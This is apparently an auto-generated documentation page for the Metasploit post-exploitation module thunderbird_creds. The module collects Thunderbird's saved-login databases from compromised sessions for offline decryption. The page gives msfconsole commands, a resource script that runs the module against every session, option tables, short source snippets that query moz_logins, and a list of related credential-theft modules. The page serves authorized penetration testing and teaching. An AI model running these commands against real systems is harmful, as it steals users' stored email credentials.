Multi Gather Mozilla Thunderbird Signon Credential Collection - Metasploit
This page contains detailed information about how to use the post/multi/gather/thunderbird_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Multi Gather Mozilla Thunderbird Signon Credential Collection
Module: post/multi/gather/thunderbird_creds
Source code: modules/post/multi/gather/thunderbird_creds.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will collect credentials from Mozilla Thunderbird by downloading the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for offline decryption with third party tools. If necessary, you may also set the PARSE option to true to parse the sqlite file, which contains sensitive information such as the encrypted username/password. However, this feature is not enabled by default, because it requires SQLITE3 gem to be installed on your machine.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/thunderbird_creds
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/thunderbird_creds
msf post(thunderbird_creds) > show options
... show and set options ...
msf post(thunderbird_creds) > set SESSION session-id
msf post(thunderbird_creds) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/thunderbird_creds")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/thunderbird_creds post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/thunderbird_creds
msf6 post(multi/gather/thunderbird_creds) > show info
Name: Multi Gather Mozilla Thunderbird Signon Credential Collection
Module: post/multi/gather/thunderbird_creds
Platform: Linux, OSX, Windows
Arch:
Rank: Normal
Provided by:
sinn3r <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PARSE false no Use SQLite3 to parse the database
SESSION yes The session to run this module on.
Description:
This module will collect credentials from Mozilla Thunderbird by
downloading the necessary files such as 'signons.sqlite', 'key3.db',
and 'cert8.db' for offline decryption with third party tools. If
necessary, you may also set the PARSE option to true to parse the
sqlite file, which contains sensitive information such as the
encrypted username/password. However, this feature is not enabled by
default, because it requires SQLITE3 gem to be installed on your
machine.
Module Options
This is a complete list of options available in the multi/gather/thunderbird_creds post exploitation module:
msf6 post(multi/gather/thunderbird_creds) > show options
Module options (post/multi/gather/thunderbird_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
PARSE false no Use SQLite3 to parse the database
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/thunderbird_creds post exploitation module:
msf6 post(multi/gather/thunderbird_creds) > show advanced
Module advanced options (post/multi/gather/thunderbird_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/thunderbird_creds module can do:
msf6 post(multi/gather/thunderbird_creds) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/thunderbird_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/thunderbird_creds) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No data parsed
Here is a relevant code snippet related to the "No data parsed" error message:
123: # Parse signons.sqlite
124: if item =~ /signons\.sqlite/ and datastore['PARSE']
125: print_status("Parsing signons.sqlite...")
126: data_tbl = parse(path)
127: if data_tbl.nil? or data_tbl.rows.empty?
128: print_status("No data parsed")
129: else
130: path = store_loot(
131: "tb.parsed.#{item}",
132: "text/plain",
133: session,
Sorry, SQLite3 not available. We'll have to skip the parser.
Here is a relevant code snippet related to the "Sorry, SQLite3 not available. We'll have to skip the parser." error message:
149: #
150: def parse(file)
151: begin
152: require 'sqlite3'
153: rescue LoadError
154: print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")
155: return nil
156: end
157:
158: # Load the database
159: db = SQLite3::Database.new(file)
doh! <E.TO_S>
Here is a relevant code snippet related to the "doh! <E.TO_S>" error message:
158: # Load the database
159: db = SQLite3::Database.new(file)
160: begin
161: columns, *rows = db.execute('select * from moz_logins')
162: rescue ::Exception => e
163: print_error("doh! #{e.to_s}")
164: return nil
165: ensure
166: db.close
167: end
168:
Go back to menu.
Related Pull Requests
- #8974 Merged Pull Request: spelling/grammar fixes part 4. Finished.
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7200 Merged Pull Request: Rex::Ui::Text cleanup
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2782 Merged Pull Request: Stop abusing expand path
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #36 Merged Pull Request: switched %USERPROFILE% to %APPDATA% to make the code a bit more universal
Go back to menu.
See Also
Check also the following modules related to this module:
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.